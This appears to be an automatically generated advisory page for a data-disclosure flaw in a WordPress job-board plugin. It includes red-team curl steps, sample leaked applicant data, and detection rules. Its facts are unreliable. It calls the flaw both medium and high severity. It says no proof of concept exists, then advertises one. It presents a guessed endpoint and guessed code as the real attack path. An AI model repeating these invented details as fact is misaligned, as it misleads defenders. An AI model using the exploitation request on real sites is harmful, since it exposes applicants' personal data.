CVE-2025-59579
Executive Summary
CVE-2025-59579 is a medium-severity information disclosure vulnerability affecting the PressTigers Simple Job Board WordPress plugin, versions 2.13.7 and earlier. The vulnerability allows an unauthenticated attacker to retrieve embedded sensitive data by exploiting an insertion of sensitive information into sent data flaw. This is a WordPress ecosystem issue, not related to Apache or Nginx. The CVSS score is 7.5 (High), with a low EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept (PoC) or exploit code is available, and no patch has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor the plugin’s update channel and apply any future patches immediately. Since the plugin is not an NPM, PyPI, Go, or Ruby package, no additional supply chain analysis is required.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
The vulnerability is easily exploitable remotely without authentication, leading to high confidentiality impact but no integrity or availability impact.
Deep Dive & Mechanics
The vulnerability resides in the Simple Job Board plugin’s handling of job application data. The plugin inserts sensitive information (e.g., applicant personal details, email addresses, phone numbers, or internal metadata) into sent data (e.g., HTTP responses, AJAX calls, or email notifications) without proper sanitization or access control. An unauthenticated attacker can trigger this behavior by sending crafted requests to endpoints that expose this data, such as job application submission handlers or admin-ajax.php actions.
The flaw is classified as CWE-201 (Insertion of Sensitive Information Into Sent Data). The plugin fails to restrict access to sensitive fields when generating responses, allowing an attacker to retrieve embedded data that should be protected.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the plugin’s core files, likely in simple-job-board/includes/class-simple-job-board-ajax.php or similar AJAX handlers. The vulnerable code might look like:
// Vulnerable: returns all application data without filtering
add_action('wp_ajax_nopriv_sjb_get_application', 'sjb_get_application');
function sjb_get_application() {
$application_id = $_POST['application_id'];
$application = get_post($application_id);
// No capability check or data sanitization
wp_send_json($application);
}
A patched version would include:
// Patched: restrict access and sanitize output
add_action('wp_ajax_nopriv_sjb_get_application', 'sjb_get_application');
function sjb_get_application() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
$application_id = intval($_POST['application_id']);
$application = get_post($application_id);
// Only return non-sensitive fields
$safe_data = array(
'job_title' => $application->post_title,
'status' => $application->post_status,
);
wp_send_json($safe_data);
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target WordPress site with Simple Job Board plugin <= 2.13.7
- No authentication required
Exploitation Steps:
- Identify the vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.phpwith actionsjb_get_application). - Send a crafted POST request with a valid application ID.
curl -X POST http://target.com/wp-admin/admin-ajax.php \
-d "action=sjb_get_application&application_id=123"
- The response will contain sensitive data (e.g., applicant name, email, phone, cover letter).
Expected Output:
{
"ID": 123,
"post_title": "Application for Developer",
"post_content": "Cover letter with personal details...",
"meta": {
"applicant_name": "John Doe",
"applicant_email": "john@example.com",
"applicant_phone": "555-1234"
}
}
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual AJAX requests to
admin-ajax.phpwith action parameters likesjb_get_applicationorsjb_*. - Look for repeated requests with sequential or random application IDs.
Defense:
- Disable the plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithaction=sjb_*from unauthenticated users. - Restrict access to AJAX handlers using
.htaccessor server-level rules.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=sjb_get_applicationor similar. - Responses containing JSON with fields like
applicant_name,applicant_email,applicant_phone.
- POST requests to
- File IOCs:
- Plugin files in
/wp-content/plugins/simple-job-board/(version <= 2.13.7).
- Plugin files in
- Log IOCs:
- Repeated 200 responses from
admin-ajax.phpwith large JSON payloads.
- Repeated 200 responses from
Detection Engineering
YARA Rule
rule Detect_SimpleJobBoard_InfoDisclosure {
meta:
description = "Detects exploitation attempts of CVE-2025-59579 in Simple Job Board plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-59579"
strings:
$ajax_action = "sjb_get_application" nocase
$sensitive_field = /"applicant_(name|email|phone)"/ nocase
$plugin_path = "simple-job-board" nocase
condition:
$ajax_action and $sensitive_field and $plugin_path
}
Sigma Rule
title: CVE-2025-59579 Simple Job Board Information Disclosure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-59579 via AJAX requests
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=sjb_get_application'
condition: selection
falsepositives:
- Legitimate plugin functionality (if patched)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-59579 Simple Job Board Information Disclosure Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=sjb_get_application"; http_client_body;
classtype:attempted-recon;
sid:1000001;
rev:1;
reference:cve,2025-59579;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by PressTigers.
- Implement WAF rules to block unauthenticated AJAX requests to
sjb_*actions. - Monitor logs for exploitation attempts.
Long-term Fix:
- Apply the official patch from PressTigers when available.
- Consider replacing the plugin with an alternative that is actively maintained.
Workaround:
- Add the following to
.htaccessto restrict AJAX access:
<Files "admin-ajax.php">
Require all denied
Require ip 127.0.0.1
</Files>
Note: This may break legitimate functionality; use with caution.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.